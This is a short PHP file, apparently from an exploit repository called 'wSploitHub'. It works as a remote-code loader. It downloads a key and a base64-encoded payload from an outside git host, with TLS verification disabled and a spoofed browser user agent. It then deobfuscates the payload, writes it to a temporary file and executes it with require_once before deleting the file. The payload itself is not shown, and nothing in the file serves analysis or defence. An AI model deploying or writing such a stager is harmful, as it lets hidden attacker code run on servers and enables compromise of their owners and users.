wSploitHub/farm/presrig.php
2025-01-29 20:14:17 +07:00

31 lines
1.0 KiB
PHP

<?php
function get_contents($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
$hashUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/api/v2/payloadkey';
$codeUrl = 'https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rig';
$keyHash = trim(get_contents($hashUrl));
if (empty($keyHash)) {
die("Die! Hash URL.\n");
}
$encoded_code = get_contents($codeUrl);
if (empty($encoded_code)) {
die("Die! Code URL.\n");
}
$decoded_code = base64_decode($encoded_code);
$clean_code = str_replace($keyHash, '', $decoded_code);
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
file_put_contents($tempFile, $clean_code);
require_once $tempFile;
unlink($tempFile);
?>